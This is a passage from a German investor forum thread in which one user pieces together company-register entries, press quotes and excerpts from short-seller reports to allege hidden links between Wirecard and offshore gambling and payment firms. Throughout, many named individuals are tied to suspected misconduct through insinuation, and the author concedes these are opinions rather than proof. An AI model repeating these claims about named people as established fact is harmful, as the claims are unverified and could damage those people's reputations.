      im Englischen wird sich wohl eher diese meine Wortschöpfung durchsetzen:
      (to) shortigate (v) (fin.): publishing a negative report about a company based on forensic investigations while short-selling the company to make profit from the slump following the publication of the research

      shortigation (n) (fin.): (a)the process of investigating a company in order to possibly --> shortigate it. (b) a short-selling attack against a company based on a forensic research report.

      shortigator(n) (fin.): (a) a person or a group doing a --> shortigation based on a forensic reserach report (b) a person or a group doing scrutiny and/or forensic investigations in order to write a research report that is the base of a --> shortigation.

      While the shortigation of Klopps or Kwindle was quite succesfull, it initially failed when Zaraza Investigations shortigated Kabelkärtchen AG. Experts explained this with the lack of reading comprehension skills on the side of investors and with the anonymity of the shortigator. A second shortigation a year after the first one caused a 70% loss in terms of market capitalisation and the resignation of the CEO.
      Avatar
      schrieb am 21.01.17 09:32:29
      Beitrag Nr. 256 ()
      In wenigen Wochen ist ja der Jahrestag eines gewissen investigativen Researchberichtes... Vielleicht werde ich mir die Mühe machen, einen kurzen Artikel zu schreiben über die Hauptthesen des Berichts. Auf jeden Fall werde ich Jochen Reicherts lustiges Machwerk und die "Widerlegung" der Wirecard noch einmal kommentieren. Ich werde den Bericht Seite für Seite durchgehen und dann fragen, ob wirklich "alles Lügen" sind...
      Den Anfang wird die Frage machen, ob die Erklärung zur "Wire Card UK" einer Prüfung standhält. Ihr erinnert Euch sicher, dass quasi erklärt wurde, die Tatsache, dass die Firma dieselben Direktoren und Eigentümer hat(te) wie die Geldwäschefirma Bluetool im Fall Schütt sei mehr oder weniger Zufall und keineswegs Grund zu der Annahme, dass es da einen Zusammenhang gibt. Naja, zumindest wurde das, was Wirecard gesagt hatte, so interpretiert... Sogar ich selbst habe damals Zatarra vorgeworfen, das überzuinterpretieren und mich sehr gewundert...
      Ich erinnere mal an eine Aussage meinerseits vom April
      Zitat von jigajig: 1) Thema: Firmengründer der Wire Card UK
      Die detaillierten Informationen hierzu waren bei companieshouse zeitweise nicht verfügbar, sonst wäre ich da schon früher drauf gekommen. (...)
      In Wahrheit wurde die Firma von einer berüchtigten Firmengründerfirma gegründet(...)
      Da wird noch was kommen, Wirecard wird dann keine Rolle spielen. Dass Braun nicht den Firmengründer genannt hat, war schon wieder ein Fehler. Langsam macht er mir zu viele... Solange aber keiner die Puzzlestücke zusammen setzen kann (ich auch nicht), passiert nichts. Aber wenn, dann... :)

      Dieses "da wird noch was kommen, Wirecard wird dann keine Rolle spielen" - das war u.a. der berühmte Consett-Artikel über den einstigen Wire Card UK Director Simon Dowson. Ein seltsames Ding: Irgendwie hat den Artikel keiner so verstanden wie ich. So etwas gibt mir natürlich zu denken - und ich habe darüber nachgedacht. Ich habe mir dazu Tausende von Dokumenten besorgt (die kompletten Firmendokumente aller Firmen, die Parallelen zur Wire Card UK haben, das sind einige Tausend mal ungefähr 20) und sie systematisch durchsucht, auf der Suche nach einer Verbindung. Leider ohne OCR-Programm. Ich dachte, ich könnte darauf verzichten... Das war ein Irrtum. Aber es wurde gefunden. Wenn man dann weiß, wonach man suchen muß, findet sich der Rest viel leichter.
      Ihr könnt es gerne selbst suchen, da ihr mir ja eh nichts glaubt und es schon gar nicht für relevant haltet. Ich schon - und das ist eben eine Meinungsäußerung. Der Rest?
      15%.
      You know.

      goo.gl/WeodRN
      Kleiner Tipp? Die kleine Schwester von Fermoya heißt Lenia.

      Zitat von jigajig: Stell Dir vor, Wirecard ist ein Puzzle mit 1000 Teilen. Zatarra hat vielleicht 50 Teile davon auf den Tisch gelegt und behauptet, anhand dieser 50 Teile zu erkennen, dass das Wirecard-Puzzle ein Zebra zeigt.
      Wirecard behauptet, alle Puzzleteile sind gefälscht.
      Die Medien ...sagen... "Wirecard sagt, die Puzzleteile sind alle gefälscht. Wir haben einige Puzzleteile gesehen und können da nicht erkennen, dass das Puzzle ein Zebra zeigt, wenn man es zusammen baut". So in etwa ist die Situation. (...)Ich sage aber: "Natürlich ist das, was ich hier an Teilen rumliegen habe, genug, um zu sehen, dass da ein Zebra rauskommt".

      Meinungsäußerung.
      15%.
      You know.

      PS: Ich kann nur empfehlen, sich alle Aussagen der Wirecard zur Bluetool und zur Wire Card UK anzusehen. Ganz genau. Was wird wie gesagt und was wird eben NICHT gesagt, aber von allen so verstanden?
      Zitat von jigajig: Die Aussage der WIRECARD hat aber auch erhebliche Auswirkungen auf die von Zatarra ebenfalls erwähnten "anderen Personen". Denn wenn WIRE CARD UK von Barbara Kahan für wirecard gegründet wurde und BLUETOOL LIMITED später eine ähnliche Inhaberstruktur aufweist wie die "Wire Card UK" später, dann verstärkt dies die Hinweiskraft auf eine Verwicklung anderer namentlich zu benennender Personen. Diese kommen aus dem Umfeld der Wirecard, sind aber nicht die Wirecard. Dennoch entstehen Fragen, wenn solche Personen aktiv werden und dann eben möglicherweise nicht mehr ZUFÄLLIG ein Konto bei der Wirecard haben.
      6. Weder mittelbar noch unmittelbar hat Bluetool Limited jemals zur Wirecard Group gehört.
      Wirecards Bestreitung, dass Bluetool ein Teil der Wirecardgruppe ist, wurde sorgfältig geschrieben. Die Fakten sind, dass Bluetool die gleichen Eigentümer wie Wire Card UK hat, das Unternehmen, von dem Wirecard zunächst behauptete, es nicht zu kennen. (...)

      Damit sagt Zatarra lediglich, dass die derzeitig vorliegenden Fakten hinsichtlich Eigentümer usw für die WIRE CARD UK und die BLUETOOL LIMITED identisch waren und eben nicht "alles Lüge" ist. Dann hat Markus Braun bei der WIRE CARD UK herumgeeiert ("kennen wir nicht", "haben wir gegründet", "sollte einem Verkauf dienen").
      Wie sehr soll man dann seiner Aussage vertrauen, keine Ahnung von der BLUETOOL zu haben, obwohl die KOLYMA bekanntermaßen zur "Full Tilt" gehörte und über deren wirecard-Konto ebenfalls Gelder aus dem gleichen "Pool" gelaufen sind und obwohl die Wirecard mit dem Ansprechpartner Osterloh in den Paymentanweisungen auf der Webseite der Full Tilt stand, mit Telefonnummer und allem.
      Wie sehr soll man seinen Aussagen vertrauen, dass die Wirecard mit anderen von Trautmann und anderen gegründeten Firmen nichts zu tun hat, bei denen es genauso aussieht: Da stehen Leute wie Trautmann, keine Wirecard zu erkennen - aber im Fall "Wire Card UK" war es dann plötzlich DOCH eine von der Wirecard gegründete Firma.
      Warum soll dann nicht in anderen Fällen WIRECARD drin gewesen sein, auch wenn TRAUTMANN draufstand? Oder KNÖCHELMANN? Oder FIEDERLING? oder DOPPLER? oder CARBONE?

      Das sind alles keine Beweise, aber was ist wahrscheinlicher? Dass Zatarra recht hat ("Wirecard war sehr wohl involviert") oder dass Braun Recht hat, der eigentlich gar nichts gesagt hat, außer "alles Lüge, Bluetool ist kein Teil der Wirecardgruppe"?

      Was ist wahrscheinlicher: dass Zatarras Behauptungen zur Verbindung von Firmen, die frühere Wirecardmitabreiter gegründet haben, stimmt oder zumindest aufgrund der Faktenlage zunächst einmal korrekterweise vermutet werden durfte oder das "alles Lüge" ist, was nun einmal unbestritten in den Registern steht?

      Wirecard hat vielleicht nicht gegen UIGEA verstoßen, weil das gar nicht möglich war (sage ich unter Bezug auf Wikipedia, Zatarra hat eine andere Meinung). Aber wie beteiligt war die Wirecard WISSENTLICH an Konstruktionen, mit denen ihre (früheren?) Geschäftspartner gegen UIGEA verstoßen haben? Und wenn das alles so unerheblich ist, warum sagt Braun dann, dass alles gelogen sei, was einfach nicht stimmt.

      Wirecard hat vielleicht FORMAL nicht selbst irgendwelche Firmen gegründet, um VISA auszutricksen, aber man hat ja auch FORMAL nicht die "Wire Card UK" gegründet!

      Es geht nicht um Beweise im juristischen Sinne. Es geht um die Glaubwürdgkeit von Markus Braun. Und die müsste zwangsläufig wackeln, wenn man einfach nur schaut, was die Fakten sind.

      Noch einmal: Dass es 2010 hieß, wirecard habe mit der Sache gar nichts zu tun gehabt, nur weil es die Aussage von Schütt nie gab, er habe im direkten Auftrag der wirecard gehandelt, hat Auswirkungen auf den Umgang mit Zatarra heute. Damit ist es sehr wohl relevant.
      Avatar
      schrieb am 22.01.17 17:28:36
      Beitrag Nr. 257 ()
      ???

      EURO CARD GROUP LIMITED
      20, CANNON ROAD,
      SANTA VENERA
      MALTA
      Company No: C 40585
      Date: 08/01/2007
      Authorised Share Capital: EUR 4000
      Issued Share Capital: EUR 1260
      Director: FRANK CHETCUTI DIMECH
      Judicial Representative: FRANK CHETCUTI DIMECH
      Legal Representative: FRANK CHETCUTI DIMECH
      Secretary: FRANK CHETCUTI DIMECH
      Subscriber: MICHAEL KINDL
      Subscriber: METHOD MIHAEL TOPOLNIK
      Subscriber: MARTIN CHRISTOF MICHATZ
      Subscriber: CHRISTIAN PETER DIEGELMANN
      Subscriber: GUNTHER DIETER JUNG


      Bluebanx ??? <-----> Brinken / Patrick M / ????????
      Elisabeth W ??? Zusammenhang ???
      paypaid Bangkok ???
      Avatar
      schrieb am 22.01.17 17:32:33
      Beitrag Nr. 258 ()
      Euro Card - jetzt weiß ich es wieder...

      The service, developed and backed by Euro Payment Group GmbH, is available for worldwide use on iOS, Android, BlackBerry and Windows Mobile devices.
      “We are extremely happy to have DBM on board, as Dino Baumberger is one of the veterans in the European adult biz with many years of experience in the market,” said iCushy Chief Executive Officer Christian Diegelmann.

      (x) erledigt
      Avatar
      schrieb am 22.01.17 17:40:27
      Beitrag Nr. 259 ()
      Euro Card - jetzt weiß ich es wieder...

      The service, developed and backed by Euro Payment Group GmbH, is available for worldwide use on iOS, Android, BlackBerry and Windows Mobile devices.
      “We are extremely happy to have DBM on board, as Dino Baumberger is one of the veterans in the European adult biz with many years of experience in the market,” said iCushy Chief Executive Officer Christian Diegelmann.

      (x) erledigt
      (x) bekannt
      (x) beachten peppr.it icush wirecard epg euro payment group topolnik?
      Avatar
      schrieb am 28.01.17 22:27:40
      Beitrag Nr. 260 ()
      Und noch ein Zufallsfund, hatte ich ja wieder vergessen...
      Boris Menzel, den kennen einige hier sicherlich, hat 2005 ein Interview gegeben über die guten Chancen einer gewissen "Patrio Plus AG"
      http://www.deraktionaer.de/aktie/patrio-plus---jaehrlich-30-…
      Im August 2007 war die HV. Vertreten waren Bernd Menzel und Christopher Saunders. Vom Aufsichtsrat Jens Röhrborn (Vorsitz) und Andreas Kinsky anwesend, während sich Paul Bauer-Schlichtegroll entschuldigen ließ.
      Mit den Beteiligungen an der HappyBet Sportwetten GmbH und der Avalon GmbH, der Konzentration der Wettaktivitäten in der Patrio Wettholding GmbH, dem erfolgreichen IPO der 10tacle studios AG am 22. Juni 2006 und dem erfolgreichen Verkauf der Restbeteiligung an der ebs Holding GmbH und der Wire Card AG benannte Herr Saunders anschließend die Highlights des abgelaufenen Geschäftsjahres.

      Hihihi.
      Warburg hat eine klasse Studie über die Firma geschrieben, ob das Jens war, weiß ich nicht. Der Herr Menzel, den liest man hier immer noch im Forum. Man soll's nicht glauben...
      http://www.wallstreet-online.de/diskussion/1048122-611-620/n…

      Bei Warburg stehen lustige Sachen
      Mit dem Erwerb einer Vorats-AG und der Umfirmierung im Jahr 2000 ist die Patrio Plus unterschiedliche Beteiligungen eingegangen. Bereits im Jahr 2000 beteiligte sich Patrio Plus an der ebs Holding (später Tausch in Wirecard AG).

      Ein ganz früher Vogel, der Boris :)

      Die Happybet in Malta gab es auch
      Legal Representative: MICHAEL KOLLACKS
      Secretary: OLGA FINKEL
      Subscriber: OLIVER FROHLICH
      Subscriber: MICHAEL KOLLACKS

      Und jetzt wird's kurios, denn wo steht was über die Firma? (Patrio)
      http://177766.homepagemodules.de/t24f7-Tacitus-Capital-Der-n…
      Bei Lordofshares! Meinem alten Freund aus frühen Tagen!

      Happybet war 2012 insolvent
      http://www.dgap.de/news/corporate/happybet-insolvenzantrag-g…

      Trustepay (One2Money) war nach Angaben Warburgs ein Partner der wirecard
      Der Chef gab an, es gäbe eine Kooperation mit einer Bank, aber er könne sie nicht nennen
      http://www.p2p-kredite.com/category/anbieter/one2money

      Die Patrioplus hatte sogar eine webseite, die Berichte gab es direkt von der Wirecardseite
      http://web.archive.org/web/20051218165743/http://www.patriop…

      http://web.archive.org/web/20051214082804/http://www.patriop…

      usw

      noch ,mehr graben zu mybet und so


      s,a,
      http://www.gevestor.de/news/zufaelle-gibt-s-10tacle-und-wire…" target="_blank" rel="nofollow ugc noopener">http://177766.homepagemodules.de/t24f7-Tacitus-Capital-Der-n…
      Bei Lordofshares! Meinem alten Freund aus frühen Tagen!

      Happybet war 2012 insolvent
      http://www.dgap.de/news/corporate/happybet-insolvenzantrag-g…

      Trustepay (One2Money) war nach Angaben Warburgs ein Partner der wirecard
      Der Chef gab an, es gäbe eine Kooperation mit einer Bank, aber er könne sie nicht nennen
      http://www.p2p-kredite.com/category/anbieter/one2money

      Die Patrioplus hatte sogar eine webseite, die Berichte gab es direkt von der Wirecardseite
      http://web.archive.org/web/20051218165743/http://www.patriop…

      http://web.archive.org/web/20051214082804/http://www.patriop…

      usw

      noch ,mehr graben zu mybet und so


      s,a,
      http://www.gevestor.de/news/zufaelle-gibt-s-10tacle-und-wire…[/quote]
      Avatar
      schrieb am 01.02.17 22:23:16
      Beitrag Nr. 261 ()
      Adventskalender. Heute das erste Türchen.

      Heute vor 7 Jahren hat sich die Wirecard AG entscheidend verändert! Rüdiger Trautmann ist aus dem Vorstand ausgeschieden, aus "persönlichen Gründen". Alles war friedlich. Michael Schütt war noch nicht verhaftet, Boaz Chechik war noch CEO der Israel Credit Card, wie auch 2006. Oder 2003.
      Der Herr Knöchelmann war sehr fleißig.
      Ralf Buchholz war vielleicht noch Prokurist der "Wirecard Payment Solutions". Oder auch nicht.
      Die Firma hieß jedenfalls schon so.

      21.04.2008 / Veränderung
      G Two Pay Limited, Köln (Am Malzbuechel 6-8, 50667 Köln. Die Firma der Haupt- und Zweigniederlassung ist geändert. Wirecard Payment Solutions Limited. Zweigniederlassung der WIRECARD PAYMENT SOLUTIONS LIMITED mit Sitz in Dublin (Register of Companies in Dublin 409923.

      und eingetragen waren:
      Carbone, John, Toronto, Ontario / Kanada, *xx.xx.1950
      Knöchelmann, Dietmar, Didderse, *xx.xx.1958
      Gonsalves, Jason, Dublin 4 / Irland, *21.09.1978

      Aber was machte der Herr Knöchelmann in diesen Tagen nur für seine Firma?
      Advent Advent

      Jeden tag ein Türchen
      Avatar
      schrieb am 18.02.17 22:35:28
      Beitrag Nr. 262 ()
      WorldGaming in Antigua, kam zu BetOnUSA (Mike Hansch)
      Interesse zeigte Frau Götting auch an den Gesellschaftern, die sich hinter der Market Alliance Agency Inc. verbergen. Deren Identität soll, wie Herrn Hansch in seiner Antwort ausführte, nicht aufgedeckt werden, was auch vertraglich so festgehalten wurde. Das Ziel sei es ja eben, das Geschäft anonym fortzuführen, um den Betreiber für die US-Behörden nicht angreifbar zu machen. Bedenken äußerte die Vertreterin der DSW, dass der Kaufpreis von 34 Mio. EUR auch wirklich zufließt. In diesem Zusammenhang erkundigte sie sich, in welchem Zeitraum die komplette Summe vereinnahmt sein soll, und sie bat um eine Aussage zu den vereinbarten Sicherheiten. Interesse hatte sie auch an der Ermittlung des Kaufpreises.

      (Worldgaming Gedächtnisthread hier im Forum)
      Zu den shareholders dieser Market Alliance Agency gehört(e) die Linestream Limited:
      https://offshoreleaks.icij.org/nodes/225888
      Zhapa Holdings, u.a. die Familie Hansch und so Leute wie der Herr Baazov, dazu Glücksspielfirmen mit Wirecardkonto. Alles rein zufällig, versteht sich.
      Operativ war das Berichtsjahr laut Herrn Hansch geprägt von verschiedenen Zukäufen zur Ausweitung der Online-Entertainment-Aktivitäten. Der Grundstein wurde gelegt mit der Integration der eingebrachten Beteiligungen an der Internet Empire Entertainment Ltd. (IEE) mit Sitz auf Antigua und Barbuda sowie der Cybertronix Inc. in Kanada. Ein weiterer wichtiger Schritt war der Erwerb der Genpage Holding AG, die mit ihren Beteiligungen bereits seit 1999 im Bereich Internet Payment Service Providing tätig ist. Mit dieser Übernahme wurden das Beteiligungsportfolio diversifiziert und die Zahlungstransaktionen innerhalb der Gruppe dauerhaft sichergestellt.

      Schön. Wer hat dann die Genpage eigentlich bezahlt? Die Leute, die über halbseitige Anzeigen bei der Süddeutschen zeitung angeworben wurden?
      Das Abenteuer bei Casmaker/BetOnUSA/trulala dauerte für die frühere "Webtrade Holding" nicht lange.
      Am 9.2.2007 wurde der Verkauf an "internationale Investoren" bekannt gegeben.
      Am 21.07.2006 erfolgte die Billigung des Wertpapierprospekts der Betonusa AG durch die Bafin (Bundesanstalt für Finanzdienstleistungsaufsicht).
      Ende Juli 2006 wurde die Genpage Holding AG übernommen. Dadurch wurden die bisherigen Geschäftsfelder um den Bereich Payment Processing erweitert.
      Im Oktober 2006 erfolgte dann im Rahmen eines so genannten "Asset Deals" die Übernahme des Spielbetriebs und der Software der Firma Worldgaming PLC, London.
      Im Februar 2007 wurde die Genpage Holding AG sowie zwei Tochtergesellschaften wieder verkauft, um sich erneut auf das Geschäftsfeld "Gaming und Entertainment" zu konzentrieren.

      Was blieb? U.a. 92 Millionen Schulden beim deutschen Steuerzahler :)

      Am 14.02.2007 trafen sich dann Jörg Sahlmann und ein Anwalt der Holme Roberts & Owen (Jens Röhrborn? Peter Katko?) und machten Karl Fiederling zum GF, den alten Wegbegleiter des Herrn bauer-Schlichtegroll. Zufälle gibt's, die gibt's nicht

      Am 19.2.2007 wurde die Firma Retiarius GmbH gegründet
      Mainsee 474. V V GmbH, Frankfurt am Main (Westerbachstraße 105, 65936 Frankfurt am Main). Die Gesellschafterversammlung vom 26.01.2007 hat die Neufassung des Gesellschaftsvertrages, insbesondere die Änderung in den §§ 1 (Firma) sowie 2 (Gegenstand des Unternehmens) beschlossen. Neue Firma: Retiarius GmbH. Neuer Gegenstand: Der Gegenstand des Unternehmens ist die Erbringung von Dienstleistungen im Bereich des Internethandels. Ausgenommen sind erlaubnispflichtige Tätigkeiten. Bestellt als Geschäftsführer: Kiessler, Helge, Frankfurt am Main, *xx.xx.xxxx , einzelvertretungsberechtigt; mit der Befugnis, im Namen der Gesellschaft mit sich im eigenen Namen oder als Vertreter eines Dritten Rechtsgeschäfte abzuschließen. Nicht mehr Geschäftsführerin: Hundt, Angelika, Bonn, *xx.xx.xxxx .

      Am 2.5.2007, am 21.5.2007 sowie am 4.6.2007 wuerde sein Rückzug im Handelsregister eingetragen von Inatec Solution, Webtrade.NET und Genpage.
      Am 18.6.2007 wurde dann Jörg Sahlmann der Vorstand der genpage. Offiziell.
      Handelsregister Veränderungen vom 18.06.2007
      Genpage Holding AG, Frankfurt am Main (Hanauer Landstraße 135-137, 60314 Frankfurt am Main). Bestellt als Vorstand: Sahlmann, Jörg, München, *xx.xx.xxxx , einzelvertretungsberechtigt. Nicht mehr Vorstand: Hansch, Mike.

      Am 28.3.2007 wiederum wurde Sahlmann GF einer Münchner Firma Gamesmania
      Handelsregister Veränderungen vom 28.03.2007
      Gamesmania GmbH, München (Rosental 4, 80331 München). Ausgeschieden: Geschäftsführer: Magin, Joachim, Schifferstadt, *xx.xx.xxxx . Bestellt: Geschäftsführer: Sahlmann, Jörg, München, *xx.xx.xxxx , einzelvertretungsberechtigt; mit der Befugnis, im Namen der Gesellschaft mit sich im eigenen Namen oder als Vertreter eines Dritten Rechtsgeschäfte abzuschließen.

      Rosental 4, bei Jens & Peter ?

      Joachim Magin wiederum wurde Jahre später Liquidator der EBS :)
      Handelsregister Veränderungen vom 30.04.2013
      ebs Holding GmbH, Grasbrunn, Landkreis München, Bretonischer Ring 4, 85630 Grasbrunn. Ist nur ein Liquidator bestellt, so vertritt er die Gesellschaft allein. Sind mehrere Liquidatoren bestellt, so wird die Gesellschaft durch zwei Liquidatoren gemeinsam vertreten. Bestellt: Liquidator: Magin, Joachim, London/Großbritannien, *xx.xx.xxxx , einzelvertretungsberechtigt; mit der Befugnis, im Namen der Gesellschaft mit sich im eigenen Namen oder als Vertreter eines Dritten Rechtsgeschäfte abzuschließen. Ausgeschieden: Geschäftsführer: Pfeiffer, Markus, Taufkirchen, *xx.xx.xxxx . Die Gesellschaft ist aufgelöst.

      Das ist erst 3 Jahre her :)

      Im Mai 2009 wiederum taucht der Herr Pfeiffer bei einer Firma auf:
      Handelsregister Neueintragungen vom 12.05.2009
      Motorvision Carclip GmbH, Düsseldorf, Kaistraße 2, 40221 Düsseldorf.Gesellschaft mit beschränkter Haftung. Gesellschaftsvertrag vom 23.10.2001, später geändert. Die Gesellschafterversammlung vom 19.02.2009 hat die Sitzverlegung von Taufkirchen, Landkreis München, (bisher AG München, HRB 142681) nach Düsseldorf und die entsprechende Änderung des Gesellschaftsvertrages in § 2 sowie die vollständige Neufassung des Gesellschaftsvertrages, insbesondere unter Änderung der Firma (§ 1, bisher "PricePixy GmbH") und des Gegenstandes (§ 3) beschlossen. Geschäftsanschrift: Kaistraße 2, 40221 Düsseldorf. Gegenstand: Die Vermarktung und Distribution von digitalisierten Video-Inhalten. Stammkapital: 25.000,00 EUR. Allgemeine Vertretungsregelung: Ist nur ein Geschäftsführer bestellt, so vertritt er die Gesellschaft allein. Sind mehrere Geschäftsführer bestellt, so wird die Gesellschaft durch zwei Geschäftsführer oder durch einen Geschäftsführer gemeinsam mit einem Prokuristen vertreten. Jedem Geschäftsführer kann Einzelvertretungsbefugnis und/oder Befreiung von den Beschränkungen des § 181 BGB erteilt werden. Bestellt als Geschäftsführer: Fumagalli, Jean-Pierre, Hamburg, *xx.xx.xxxx , einzelvertretungsberechtigt mit der Befugnis, im Namen der Gesellschaft mit sich im eigenen Namen oder als Vertreter eines Dritten Rechtsgeschäfte abzuschließen. Nicht mehr Geschäftsführer: Pfeiffer, Markus, Taufkirchen, *xx.xx.xxxx .


      Kurz nach der Verschiebung nach Düsseldorf wurde wer zum Geschäftsführer? Joachim Magin natürlich
      Handelsregister Veränderungen vom 23.06.2009
      Motorvision Carclip GmbH, Düsseldorf, Kaistraße 2, 40221 Düsseldorf.Bestellt als Geschäftsführer: Magin, Joachim, Speyer, *xx.xx.xxxx , einzelvertretungsberechtigt mit der Befugnis im Namen der Gesellschaft mit sich im eigenen Namen oder als Vertreter eines Dritten Rechtsgeschäfte abzuschließen.

      Liquidiert wurde die Firma dann von Jens Röhrborn:
      Handelsregister Veränderungen vom 28.06.2011
      Motorvision Carclip GmbH, Düsseldorf, Atlantic Haus, 13. OG, Zirkusweg 1, 20359 Hamburg. Ist nur ein Liquidator bestellt, so vertritt er die Gesellschaft allein. Sind mehrere Liquidatoren bestellt, so wird die Gesellschaft durch die Liquidatoren gemeinsam vertreten. Nicht mehr Geschäftsführer: Magin, Joachim, Speyer, *xx.xx.xxxx . Nicht mehr Geschäftsführer und bestellt und vor Eintragung wieder abberufen als Liquidator: Fumagalli, Jean-Pierre, Hamburg, *xx.xx.xxxx . Bestellt als Liquidator: Röhrborn, Jens, München, *xx.xx.xxxx , einzelvertretungsberechtigt mit der Befugnis im Namen der Gesellschaft mit sich im eigenen Namen oder als Vertreter eines Dritten Rechtsgeschäfte abzuschließen. Die Gesellschaft ist aufgelöst.

      Dann war Joachim Magin 2007 auch im Vorstand der Arena Boxpromotion
      Handelsregister Veränderungen vom 17.07.2007
      ARENA Box-Promotion AG, Hamburg (Alter Wall 34-36, 20457 Hamburg). Vorstand: Magin, Joachim, Schifferstadt, *xx.xx.xxxx , einzelvertretungsberechtigt; mit der Befugnis, im Namen der Gesellschaft mit sich als Vertreter eines Dritten Rechtsgeschäfte abzuschließen.

      und Magin taucht auch bei 10tacle usw usf auf, Zufälle gibt's, ja, schon klar

      https://www.online-handelsregister.de/personen/Magin-Joachim…


      Ich habe das jetzt absichtlich so verwirrend dargestellt, damit man so tun kann, als sei ICH der Schuldige dafür, dass man das jetzt so schwer im Kopf zusammen bringt mit Zatarra...

      ...oder mit Israel...
      Helge Kiessler und die Retiarius stehen da in der Zeitung - aber in den Gerichtsdokumenten steht eine andere Firma. Eine mit "W" :)

      sicher ist aber, dass der Kiessler mit dem Ben-Assouline zusammen die Casinofirmen bei der Retiarius einsortierte. Diese hatten ja dann so Firmen, die ihnen gehörten, in mauritius. Adresse der Paysys von Wirecard, zufällig.

      Jörg Sahlmann taucht mit Jens auch bei der E-Value auf, zusammen mit einem Herrn Falk, während der andere Herr Falk einer UK-Firma (die nicht ganz koscher war) die Ision verkauft hat (was nicht ganz koscher war). Die Akten der Distefora vom Herrn Falk, die wollte sich der Herr Fiederling besorgen, damals. Geschickt hat ihn der Wirtschaftsprüfer der EBS. wie man lesen kann :)

      Zufälle gibt's, die gibt's alle gar nicht.

      Übrigens at die Energis plc ja geklagt gegen den Falk. Vertreten wurden sie von Clifford Chance :)

      Ob deren Taten juristisch gesehen einen Betrug darstellen, ist umstritten. Entscheidend wird vor Gericht sein, ob Energis nicht nur getäuscht wurde, sondern ob die Firma auch einen Schaden erlitten hat. Nur dann würde es sich um einen Betrug handeln. "Die angeblichen Opfer waren so naiv nicht, wie die Staatsanwaltschaft sie gern sehen will", sagt Falks Anwalt Gerhard Strate.
      Energis sei am Tag des Ision-Kaufs bereits überschuldet gewesen und habe rechtzeitig von den fraglichen Buchungen erfahren. "Tatsächlich waren bei Energis Bilanzfälschungen und das Erfinden von Umsätzen gang und gäbe", behauptet Strate. Scheingeschäfte hätten quasi zur Energis-Firmenkultur gepasst.
      Die Juristen von Clifford Chance weisen das zurück. Und der Hamburger Oberstaatsanwalt Rüdiger Bagger meint: Ob ein Opfer selbst womöglich ein Gauner sei, spiele juristisch keine Rolle.


      Da spielt übrigens ein anonymer Brief eine Rolle:
      Gefährlicher als K. wurde Falk und Konsorten ein bis heute anonymer Briefeschreiber, vermutlich ein rachsüchtiger Insider, der sich benachteiligt fühlte. Er habe es sich zur Aufgabe gemacht, kriminelle Machenschaften aufzudecken, warnte er und glänzte mit Detailwissen über die angeblichen Scheingeschäfte.


      :)
      Avatar
      schrieb am 24.02.17 17:26:51
      !
      Dieser Beitrag wurde von MODelfin moderiert. Grund: auf eigenen Wunsch des Users
      Avatar
      schrieb am 24.02.17 17:28:14
      Beitrag Nr. 264 ()
      Quelle für alle Aussagen zu registern: companieshouse.gov.uk
      Stand 24.02.2017
      (c)jigajig
      Avatar
      schrieb am 24.02.17 17:31:11
      Beitrag Nr. 265 ()
      Avatar
      schrieb am 26.02.17 14:29:05
      Beitrag Nr. 266 ()
      anderes Thema... warum will eigentlich jeder von der wirecard gekauft werden, aber die wirecard will sie nicht kaufen?

      1) Magleo / Philippinen
      Zeitungsbericht Februar 2015
      Ronald Magleo helped establish an information technology company in 2005, just three years after graduating with a degree in Entrepreneurship from De La Salle University in Manila. German payment services provider Wirecard acquired the local company in 2007 and Magleo found himself working for the company as an ordinary employee.
      ... “In [May] 2010, when the German company moved their regional office to Singapore, I, together with key technical co-founders formed Paynamics,” says Magleo, who became the chairman and chief executive officer of the new online payment service provider Paynamics Technologies Inc.

      a.a.O.
      Mandaluyong-born Ronald Magleo’s technopreneurial journey started in 2007, when he began working for a German payment services provider Wirecard AG. However, his expertise in entrepreneurship went back in 2002, after graduating from the De La Salle University with a degree in Commerce. He helped put up Asia Pacific E-Serv Corporation, one of the first third-party payments provider for Banco de Oro.
      Two years later, Wirecard AG acquired Magleo’s company – and he found himself working with the German firm for three years as its operations director in the Asia-Pacific region. “For three years, I learned the ins/outs of the online process payments,” he once recounted in a Standard interview.

      Zeitungsartikel Januar 2016
      Dazu Zatarra:
      Wirecard acquired Asia Pacific E-Serv Corporation where Esther Magleo was a founder, and
      implicated in customs fraud in the late 2000s, whilst continuing in employment as CFO of
      Wirecard Asia Pacific

      Dazu Wirecard:
      2007
      Munich/Grasbrunn, Manila, December 13, 2007: With immediate effect, the presence of Wirecard AG has been extended to include the establishment of a wholly-owned subsidiary in Asia. Wirecard Asia Pacific in Manila, Philippines has been stepped up to prepare for expansion in the Asian-Pacific market. ... Wirecard AG already cooperates, as a Payment Service Provider (PSP), with one of the largest commercial banks in the Philippines.

      Pressemeldung
      Im Oktober 2006 hatte wirecard schon eine Kooperation mit load.com.ph bekannt gegeben (click2pay)
      http://www.presseportal.de/pm/15202/885843
      Die Wirecard AG konnte die philippinische Telecom Concepts-Gruppe, eines der größten Telekommunikationsunternehmen im asiatischen Raum mit rund 3,5 Mrd Dollar Jahresumsatz, als Kunden gewinnen. Die Telecom Concepts, Inc zählt zu ihren Tochterunternehmen ePhone Co., Inc., First Telecom Philippines Inc. sowie Load.Com.Ph. Die Wirecard Bezahllösung CLICK2PAY wird künftig auf Load.Com.Ph, einer der erfolgreichsten asiatischen Vertriebs- und Ladeplattformen für regionale Prepaidkarten, eingesetzt.

      (Man beachte die damals schon gebräuchliche Informationsweitergabe... "Wirecard kooperiert mit ... Telecom-Concepts (3,5 Mrd Jahresumsatz) ... Tochterunternehmen ... indem man c2p ... auf dem Portal anbietet")

      Aspaconline's Internetseite wurde 2006 das erste Mal archiviert und man war "exklusiver Partner der Wirecard"
      http://web.archive.org/web/20060226043928/http://www.aspacon…
      Copyright © 2004. All Rights Reserved. Asia Pacific E-Serv. Corporation 306-B SEDCCO Bldg. cor. Rada and Legaspi Sts. Legaspi Village, Makati City, Philippines 1229


      Diese Firma habe wirecard nie gekauft. Punkt. Period.
      Stimmt. Man hat tatsächlich 2007 eine Firma gegründet, mit identischer Adresse, mitsamt dem Personal der Aspaconline und so weiter und auf der Seite der Aspaconline hat sich auch nichts geändert.

      Formal hat man die Firma also nicht gekauft. Das ist richtig.
      Aber man "war" dennoch diese Firma seit 2007, mit der man exklusiv kooperiert hat, inklusive Arnold Marcellana
      ... wenn die Dokumente echt sind, die gezeigt wurden im Bericht von whistlkeblowerwd
      Avatar
      schrieb am 26.02.17 14:35:21
      Beitrag Nr. 267 ()
      quelle vismas report V, whistleblowerwd

      14. The official company documentation and accounts for Wirecard Asia Pacific Inc (SEC
      Registration Number: CS200719114) and Asia Pacific E-Serv Corporation (SEC Registration
